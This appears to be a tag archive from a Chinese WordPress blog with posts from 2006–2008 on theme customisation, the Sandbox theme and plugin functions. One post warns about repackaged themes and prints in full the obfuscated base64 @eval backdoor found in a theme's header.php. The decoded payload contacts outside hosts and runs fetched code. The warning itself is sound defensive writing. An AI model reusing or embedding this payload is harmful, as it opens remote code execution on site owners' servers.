Posts Tagged ‘theme’

对《通过优化插件来提高 WordPress 运行效率》的一点补充

Tuesday, January 1st, 2008

我爱水煮鱼所写的通过优化插件来提高 WordPress 运行效率一文非常好,建议所有使用Wordpress的朋友都读一读。对于优化插件问题,我想到了一个方法,就是将所有Blog必需的插件函数写入模板的functions.php文件中,加载模板时也就同时启用了这些函数,但这要求你对插件的结构比较了解,清楚其中哪些语句是函数所必需的,哪些是无谓的,所以我不建议对比较复杂的插件使用此方法,而有些插件我们经常使用并且其本身又短小精悍,最适合使用此法,以中文Blogger必备的中文 WordPress 工具箱为例,其中获取最新文章列表的函数所包含的语句如下:

function get_recent_posts($no_posts = 10, $before = ‘<li> ‘, $after = ‘</li>’, $show_pass_post = false, $skip_posts = 0) {
global $wpdb, $tableposts;
$request = “SELECT ID, post_title, post_date, post_content FROM $tableposts WHERE post_status = ‘publish’ “;
if(!$show_pass_post) { $request .= “AND post_password =” “; }
$request .= “ORDER BY post_date DESC LIMIT $skip_posts, $no_posts”;
$posts = $wpdb->get_results($request);
$output = ”;
foreach ($posts as $post) {
$post_title = stripslashes($post->post_title);
// $post_date = mysql2date(’j.m.Y’, $post->post_date);
$permalink = get_permalink($post->ID);
$output .= $before . ‘<a href=”‘ . $permalink . ‘” rel=”bookmark” title=”Permanent Link: ‘ . $post_title . ‘”>’ . $post_title . ‘</a>’. $after;
}
echo $output;
}

那么只需要将这段代码写入functions.php文件中即可,其他类似的函数还有中文wordpress工具箱中的其他函数、wp-pagenavigravatar等。最后提醒一下,如果你的模板是准备公开发布的,请在functions.php中注明插件出处^_^。

新年新项目

Tuesday, January 1st, 2008

有段时间没有更新Blog了,不是我变懒了,而是业余时间的精力被分散到了其他地方,首先是自己又建了一个短评类的Blog:Livedot.org,有点儿类似于把sideblog的内容单独分离出去,欢迎您随时光临;另外我正在基于wordpress开发一个magazine-style的网站,初始设想是将其办成有关Blog和Blogger的新闻/杂志类站点,目前最重要的首页部分已经大致设计完成,这也是我第一次独立开发一个全新的Wordpress theme,又学到了不少东西,本来我最初想用Drupal或者Modx这类正宗CMS程序,但在看了freeshipping这个网站后,我发现用Wordpress也完全能够做出CMS风格,而且这还能节省学习其他程序的精力,事实也证明,利用灵活的custom field,wordpress几乎无所不能,如果再配合jQuery或者Mootools这类javascript框架,甚至还可以做得很华丽。

blog and blogger

说一下自己的wishlist吧:

  • 运营好blog and blogger这个站点,同时希望有朋友能够加入,如果您有兴趣,请联系kenshin2010[at]gmail.com
  • 设计3-4个wordpress themes,其中可能包括1-2个商业模板
  • 写1-2本与wordpress有关的电子书

这辈子大概不能和喜欢的人在一起了,那就尽量做写自己喜欢的事吧^_^

不要随便从第三方网站下载wordpress主题模板

Thursday, December 20th, 2007

著名的网站设计师Derek在自己的Blog上提醒Wordpress的新手在从一些主题下载站下载WP模板时一定要小心,因为他发现自己制作的模板被一个名为WP Sphere(这个网站现已不能访问)的站点重新打过包,并在header.php文件中嵌入了恶意代码,因此从该站点下载了模板的用户很可能会中招,Derek建议大家直接从模板作者的网站上下载东西而不是经由WP Sphere这样的第三方主题站,国内也有不少第三方站点提供WP模板的下载,目前似乎还未发现这样的恶意事件,不过小心使得万年船,在应用模板前最好检查一下文件代码,看看是否有类似的恶意代码,如果你的Wordpress水平已经到了一定水平,不妨试试自己写模板吧。

嵌入到Derek模板中的恶意代码:

@eval(@base64_decode(’aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3Q\
jY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20i\
LCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiw\
gJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICR\
SNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3I\
iOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\
kxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMk\
QwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1Qj\
M5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRj\
EyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNT\
BGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIj\
sgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OT\
cgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3OD\
M2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJF\
JEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgIC\
RSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cD\
ovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLm\
NvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waH\
A/dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXS\
kgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0\
hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRT\
kwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNj\
U2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOU\
I3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQT\
gwOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMz\
M1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNT\
BGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRk\
U5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gdX\
JsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG\
9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIE\
ByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMT\
E1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQk\
MzMDkxNik7′));

免费赢取Premium News模板

Monday, November 26th, 2007

premium news

转述一下来自E-space的消息,Adii制作的Wordpress商业模板Premium News(收费99美元!)现在有机会免费获取,方法是在11月29日之前,在WPThemesPlugin的这篇帖子后面留言,并且留言中必须包含“I want the Premium News Theme!”这句话。这个模板制作得相当强悍,无怪乎要收费,我已经留言了,希望能得到一份copy,好好研究一下!

新版的Techpush试运行

Tuesday, November 20th, 2007

抽空将Techpush升级到了Wordpress 2.3.1并做了全新的设计,主题代码是在Sandbox的基础上改造的,样式是参考了多个国外的Blog后“混合”的结果,目前大致可用,先放上来试试看,一些细节还需要改进,以前用的部分插件仍需要进一步测试。另外,在本机环境测试时已经尽力去解决恼人的IE6和Firefox兼容性问题,但仍不能保证两者的显示效果完全一致,在此强烈建议还在使用古老的IE6的朋友尽快升级到IE7或者转用FirefoxOpera,没有比IE6更垃圾的东西了!

Techpush Home

前一段时间开始转用Ubuntu做自己的主系统,这个主题就是在Ubuntu下完成制作的:logo和图片是用Gimp作的,图标则使用了Ubuntu自带的Tango图标,当然效果都比较简单,主要是因为自己对Gimp还不太会用,不过这是一个不错的开始:),最大的困难可能是编写CSS,Linux下没有像TopStyle这样强悍的工具,所以调试起来比较麻烦,以后可能会写一些这方面的心得。

论文已经写完了,这周末答辩,所以这个站点正常的更新要等到答辩结束之后了,希望可以顺利通过!:)

翻译:Sandbox指南及清单

Wednesday, July 25th, 2007

有消息说Sandbox将会成为下一版本Wordpress的缺省theme,而我在用它改造成我另一个blog的theme后也越发喜欢这个乍看起来简陋无比的家伙 :mrgreen: ,其实作为一款语义式主题,Sandbox内涵非常丰富,你可以利用其丰富的语义标记和大量的类轻松创建自己的风格,甚至无须改动一行php代码,现在小土豆开始撰写Sandbox的使用指南,我也作了翻译,或许这个指南能令你尽快熟悉Sandbox,不过建议你先看一看Sandbox的readme文件,那里面有语义标记和类的详细用法。

原文:Sandbox Guide and Check List 作者:Small Potato
译者:Zhao QL
译文:

Sandbox指南及清单

这个持续更新的指南和清单送给每一个使用Sandbox主题的人。

基本结构

  • div#wrapper [.hfeed]
    • #header
      • h1
      • div#blog-description
    • div#access
      • div.skip-link
      • sandbox_globalnav() [div#menu]
    • div#container
      • div#content
        • div#nav-above [.navigation]
          • div.nav-previous
          • div.nav-next
        • div#post-the_ID() [sandbox_post_class()]
          • h2.entry-title
          • div.entry-date
          • div.entry-content
          • div.entry-meta
          • span.author (.vcard)
          • span.cat-links
          • span.comments-link
        • div#nav-above [.navigation]
          • div.nav-previous
          • div.nav-next
    • div#primary [.sideabar]
      • ul.xoxo
        • li#pages
        • li#categories
        • li#archives
    • div#secondary [.sidebar]
      • ul.xoxo
        • li#search
        • li#rss-links
        • li#meta
    • div#footer
      • span#generator-link
      • span#theme-link

指南

  • 缺省样式表的错误:打开style.css,修改span.req-fieldspan.required
  • 下拉链接:默认情况下,样式表会使子页链接在水平菜单中显示为下拉链接。这在所有浏览器中都没什么作用,因此要修改或者不显示任何子页链接。不显示的方法是给functions.php中的wp_list_pages()函数增加一个参数depth=1,或者修改style.css,针对次级列表项使用display:none;
  • 给页增加评论:可以增加一个自定义段(custom field)允许某些页能够留言。Key = comments. Value = (任意文本).
  • 动态类:在首页,存档页(archive)和搜索页中,文章列表使用div.post;在Page页中,则使用div.page
  • 页标题选择器:h2.page-title替换h2.entry-title
  • 存档标题:存档页的条目标题使用H3而不是H2
  • 评论模板:评论[div#comments-list]和反向链接(trackback)[div#trackbacks-list]是分开的,如果你需要某个样式对两者都起作用,请使用div#comments
  • 定制CSS:如果你不使用默认的Sandbox布局,记得删除缺省的style.css文件中的CSS导入语句,例如:@import url(’sandbox-layouts/2c-l.css’);
  • 控制背景图的浮动:如果你需要在#content#primary#secondary后有背景图,则对#footer使用clear:both并且背景图要用在#wrapper而不是#container中。然后,给#wrapper一个overflow:auto;

用于设计和验证的模板及页

  • 404.php
  • archive.php
  • archives.php
  • attachment.php
  • author.php
  • category.php
  • comments.php
    • no comments
    • logged in
    • must login
    • password protected
  • footer.php
  • index.php
  • links.php
  • page.php
  • search.php
  • sidebar.php
  • single.php

在你的WP主题上放一个登录框

Tuesday, July 10th, 2007

Drupal或者Joomla这样的CMS不同,Wordpress的用户登录是转到单独的一个页面上,如果你想换个方式,像Drupal一样直接在首页上完成登录,那么需要在theme上添加一个登录框,小土豆(small potato)一个帖子中介绍了这种方法并且放出了相关代码,你只需要将这段代码拷贝/粘贴到自己theme的sidebar上即可,如果你想要不同的样式,则需要在CSS中做相应的修改。

小土豆的代码请到他的帖子中下载 :!:

多循环时的翻页问题

Monday, July 9th, 2007

另一个Blog使用了自己在Sandbox主题上改的一个模板,index.php中调用了两个循环(loop),语句如下:

while ($my_query->have_posts()) : $my_query->the_post();
$do_not_duplicate = $post->ID;?>

天佑。不使用query_posts()也可以实现我想要的功能,修改后第二个loop的语句如下:

…….
if( $post->ID == $do_not_duplicate ) continue; update_post_caches($posts); ?>

———other code———


使用in_category()来排除shorts分类中的帖子,但这种方法有个缺陷,实际显示的帖子数是WP后台Option中设定的Post数减去在这个范围内出现的shorts分类帖子的数目,比如后台设定显示10个帖子,而这10个帖子中有两个在shorts分类里,那么实际将显示10-2=8个帖子,有没有更好的方法呢?

更多有关Loop的介绍可以参考Wordpress的官方说明

Iqwolf的Unnamed One 1.0正式版发布

Thursday, October 12th, 2006

一个国人制作的很不错的Wordpress主题模版,详情请看这里

站点启用了新主题3ColumnK2

Thursday, September 21st, 2006

本站原来使用的Unnamed One是一个非常优秀的主题模版,而且又是国人制作,理应多多支持,但新版的K2模版在功能和可定制性上更胜一筹,事实上Unnamed One也有相当多的代码参考了K2,权衡之下,还是决定将主题换为K2,有些对不起iqwolf了:wink:。K2本身并没有提供3栏的布局风格,而我为了能够在站点上更多显示信息优先考虑3栏布局,幸好有很多K2的拥趸基于K2开发了多种风格的主题,这款Bharath Kumar制作的3ColumnK2就是其中之一,刚好满足我的需要。当然我需要将这个主题改造成自己的风格,主要是修改了CSS文件,对模版文件也进行了细微的调整,用Photoshop制作了站点Logo,侧边栏的内容借助K2集成的Sidebar Modules(个人认为该插件胜过Sidebar Widgets)轻松完成,这些工作大概用了大半天时间,相比之前修改其他主题时效率提高了很多:grin:。

最后仍要推荐一下Unnamed One,iqwolf一直在不断的改进它,现在最新版是0.5.1beta,解决了Live Search在IE下的兼容性问题,期待这个主题越来越好!

[tags]wordpress,K2,Unnamed One,theme[/tags]